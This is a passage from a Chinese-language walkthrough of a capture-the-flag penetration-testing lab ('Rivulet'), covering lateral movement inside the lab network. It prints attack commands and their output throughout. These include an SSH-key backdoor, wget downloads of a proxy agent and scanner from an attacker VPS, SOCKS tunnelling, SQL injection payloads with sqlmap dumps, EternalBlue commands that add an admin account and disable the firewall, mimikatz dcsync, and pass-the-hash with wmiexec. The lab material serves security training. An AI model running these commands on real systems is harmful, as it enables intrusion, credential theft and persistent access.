echo "ssh-rsa *****省略" > /host/root/.ssh/authorized_keys
4.8 查看宿主机网络
root@web:/host# ip a
输出:
2: ens5: inet 192.168.1.56/24 ← 内网网卡(可以访问其他内网机器)
3: docker0: inet 172.17.0.1/16 ← Docker 网桥
6: ens7: inet 192.168.64.14/24 ← 另一块网卡
7: flannel.1: inet 10.244.0.0/32 ← K8s Flannel 网络
关键发现: 宿主机有
192.168.1.56/24网段,说明存在内网。接下来需要扫描内网发现其他目标。
五、内网横向移动
5.1 反弹宿主机 Shell + 搭建代理
为什么要搭建代理?
内网机器(如 192.168.1.x)无法从外网直接访问。我们需要在宿主机上搭建一个 SOCKS 代理,让我们的攻击机通过宿主机访问内网。
在宿主机上执行:
# 下载代理工具到宿主机
wget http://vps服务器的ip/linux_x64_agent
./linux_x64_admin -l 2333
./linux_x64_agent -c vps服务器的ip:2333 --reconnect 8
socks 10000
这会在宿主机上启动一个 SOCKS5 代理(端口 10000),所有通过代理的流量都会从宿主机发出,从而可以访问内网。
在攻击机上配置 proxychains:
# /etc/proxychains4.conf
[ProxyList]
socks5 vps服务器的ip 10000
5.2 fscan 扫描内网
有了代理,就可以通过宿主机扫描 192.168.1.0/24 网段了。
wget http://vps服务器的ip:8080/fscan_linux_amd
./fscan_linux_amd -h 192.168.1.56/24
扫描结果:
192.168.1.56 - 当前宿主机(已控制)
192.168.1.83 - DC01.MICHA.COM(域控制器,Windows Server 2016)
MS17-010 漏洞存在!
192.168.1.112 - WIN-R4DDIB9732K.MICHA.COM(域成员机,Windows Server 2016)
192.168.1.123 - Linux,开放 22 和 8000 端口
内网拓扑分析:
192.168.1.83是域控制器(DC),域名MICHA.COM,存在 MS17-010 漏洞 →192.168.1.112是域成员机192.168.1.123有一个 Web 服务(8000 端口)攻击顺序:先打 192.168.1.123(Web 服务,最简单),再打 DC(MS17-010),最后横向打成员机。
第二台192.168.1.123
python3 dirsearch.py -u http://192.168.1.123:8000/
[19:54:09] Scanning:
[19:55:18] 200 - 1KB - /docs
[19:55:19] 307 - 0B - /docs/ -> http://192.168.1.123:8000/docs
http://192.168.1.123:8000/doc 是一个API 接口文档
{
"0": {
"api": "User Information Query",
"method": "POST",
"url": "/api/BasicData",
"content-type": "application/json",
"params": {
"username": "fuzzy search",
"workingID": "exact match"
},
"example": {
"request": {
"username": "al"
},
"response": {
"status": "success",
"count": 1,
"data": [
{
"username": "alex",
"phone": "170*****723",
"email": "zmf7yv90y@company.com",
"workingID": "503207b4-0e73-41bd-ae30-cd921b6d7f28"
}
]
}
}
},
"1": {
"api": "Project Record Query",
"method": "POST",
"url": "/api/ProjectRecord",
"content-type": "application/json",
"params": {
"username": "exact search",
"grade": "exact match"
},
"example": {
"request": {
"grade": "A"
},
"response": {
"status": "success",
"count": 1,
"data": [
{
"employee_name": "jaxon",
"task": "Brand Refresh",
"start_date": "2025-11-02",
"end_date": "2025-04-09",
"status": "A"
}
]
}
}
},
"2": {
"api": "Attendance Record Query",
"method": "POST",
"url": "/api/AttendanceRecord",
"content-type": "application/json",
"params": {
"username": "fuzzy search"
},
"example": {
"request": {
"username": "Alice"
},
"response": {
"status": "success",
"count": 1,
"data": [
{
"employee_name": "Alice Johnson",
"status": "Late",
"remarks": "Arrived late due to traffic congestion",
"check_in_time": "2025-01-02 09:10",
"check_out_time": "2025-01-02 17:45"
}
]
}
}
},
"3": {
"api": "Search for Password Hash (Limit 10)",
"method": "POST",
"url": "/api/PasswdHash",
"content-type": "application/json",
"params": {
"username": "fuzzy search"
},
"example": {
"request": {
"username": "alex"
},
"response": {
"status": "success",
"count": 1,
"data": [
{
"username": "alex",
"hash": "c5804b3885b4d5ca57a254a1e06ef72a"
}
]
}
}
}
}
高危接口 – 密码哈希查询
"3": {
"api": "Search for Password Hash (Limit 10)",
"url": "/api/PasswdHash",
"params": {"username": "fuzzy search"}
}
调用一下查询接口,随便查某个用户alex
POST /api/PasswdHash HTTP/1.1
Host: 192.168.1.123:8000
Content-Type: application/json
Content-Length: 24
{"username":"alex"}
返回,获取到了两个用户的密码哈希
HTTP/1.1 200 OK
date: Wed, 03 Jun 2026 19:59:56 GMT
server: uvicorn
content-type: application/json
Content-Length: 205
{
"status": "success",
"count": 2,
"data": [
{ "username": "alex", "hash": "c5804b3885b4d5ca57a254a1e06ef72a" },
{ "username": "alexander", "hash": "ccb42dfa775c85bdcbb208fbc6c388f2" }
]
}
sql注入
这里或许有sql注入,单引号注入试试
{"username":"1'"}
返回
{ "status": "error", "msg": "unrecognized token: \"' LIMIT 10\"" }
注释符闭合看看
{"username":"1'--"}
返回success
{ "status": "success", "count": 0, "data": [] }
的确存在sql注入
sqlmap跑一遍
python3 sqlmap.py -u "http://192.168.1.123:8000/api/PasswdHash" --method POST --data '{"username":"test"}' --header "Content-Type: application/json" -p username --batch
___
__H__
___ ___[(]_____ ___ ___ {1.9.12.10#dev}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:12:25 /2026-06-03/
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[20:12:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON username ((custom) POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: {"username":"test' UNION ALL SELECT CHAR(113,118,106,106,113)||CHAR(107,114,67,115,74,119,119,89,112,79,87,108,103,75,78,114,119,115,109,113,88,117,83,78,88,109,117,83,89,109,114,111,88,105,121,118,87,80,73,102)||CHAR(113,98,118,107,113),NULL-- DyHz"}
---
[20:12:26] [INFO] testing SQLite
[20:12:26] [INFO] confirming SQLite
[20:12:26] [INFO] actively fingerprinting SQLite
[20:12:26] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[20:12:26] [INFO] fetched data logged to text files under
[*] ending @ 20:12:26 /2026-06-03/
存在 UNION query注入,而且是SQLite 数据库
SQLite 不支持 --dbs 命令(SQLite 没有数据库的概念,只有一个数据库文件)。我们需要使用 --tables 来查看所有表。
python3 sqlmap.py -u "http://192.168.1.123:8000/api/PasswdHash" --method POST --data '{"username":"test"}' --header "Content-Type: application/json" --dbms sqlite -p username --batch --tables
[4 tables]
+--------------------+
| informations |
| login |
| project_evaluation |
| secret |
+--------------------+
读一读secret表
python3 sqlmap.py -u "http://192.168.1.123:8000/api/PasswdHash" --method POST --data '{"username":"test"}' --header "Content-Type: application/json" --dbms sqlite -p username --batch -T secret --columns
[3 columns]
+--------+---------+
| Column | Type |
+--------+---------+
| flag | TEXT |
| hint | TEXT |
| id | INTEGER |
+--------+---------+
读到flag
python3 sqlmap.py -u "http://192.168.1.123:8000/api/PasswdHash" --method POST --data '{"username":"test"}' --header "Content-Type: application/json" --dbms sqlite -p username --batch -T secret --columns flag --dump
[1 entry]
+----+---------------------------------------------+----------------------+
| id | flag | hint |
+----+---------------------------------------------+----------------------+
| 1 | flag2{9f23aa16-33e7-11f1-9508-7e92a294591d} | Can you decrypt AES? |
+----+---------------------------------------------+----------------------+
靶场给了提示:Can you decrypt AES?
python3 sqlmap.py -u "http://192.168.1.123:8000/api/PasswdHash" --method POST --data '{"username":"test"}' --header "Content-Type: application/json" --dbms sqlite -p username --batch -T secret --columns hint --dump
让我解密AES,先不管,先把域控打了
第三台192.168.1.83
msf永恒之蓝
proxychains msfconsole
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.1.83
set COMMAND REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
set COMMAND net user test3389 Qwer1234! /add
set COMMAND net localgroup administrators test3389 /add
set COMMAND 'netsh firewall set opmode disable'
run
rdp连接上去,拿到flag
dir /s C:\*flag*
C:\Users\Administrator\Desktop\flag4.txt
C:\Users\test3389>type C:\Users\Administrator\Desktop\flag4.txt
flag4{35bdd403-4c3f-4065-bb24-bd0768479f70}
上传mimikatz抓取域管理员的hash
mimikatz # lsadump::dcsync /domain:MICHA.COM /user:Administrator
[DC] 'MICHA.COM' will be the domain
[DC] 'dc01.MICHA.COM' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2026/4/6 14:11:01
Object Security ID : S-1-5-21-695962042-539767436-2100334642-500
Object Relative ID : 500
Credentials:
Hash NTLM: 015f5d04d14d053508d14ac11d6496bb
域管的hash
NTLM: 015f5d04d14d053508d14ac11d6496bb
第四台:192.168.1.112
打pth攻击
python3 wmiexec.py MICHA/Administrator@192.168.1.112 -hashes :015f5d04d14d053508d14ac11d6496bb
C:\>type "C:\Documents and Settings\Administrator\Desktop\flag3.txt"
flag3{2dfe8280-8a4f-473f-af3c-90bd80aea127}
春秋云境-Rivulet 靶场总结
本次渗透从 Web → 容器 → 宿主机 → K8s 控制面 的攻击流程:
- 外网突破: JNDI注入 → 获取容器初始Shell。
- 信息收集:利用Kubelet API(10250端口)未授权访问 → 获取Pod列表。
- 横向逃逸:发现特权高危Pod(
rivulet-hostpath,挂载宿主机根目录) → 进入Pod读取宿主机/etc/kubernetes/admin.conf→ 获得集群管理kubeconfig。 - 接管:通过API Server(6443)认证 → 完全控制集群。
- sql注入:sql接口注入—–>sqlmap的使用
- 永恒之蓝:msf经典攻击永恒之蓝
- PTH哈希横向
**通过本次靶场,我学会了:**从Web漏洞到集群控制的完整攻击链,不再局限于单点漏洞利用,而是以“入口点→容器→宿主机→控制面”的视角渗透;掌握了容器环境下的信息收集思维,拿到Shell后除了常规信息,必须优先检查Kubelet API访问权限、ServiceAccount Token以及高危挂载卷(如宿主机根目录);Kubelet匿名访问、特权容器+hostPath挂载、kubeconfig在容器内暴露。学会了JNDI注入的灵活运用,在高版本JDK限制下仍能通过JdbcRowSetImpl等手法实现利用,理解了Java反序列化与JNDI
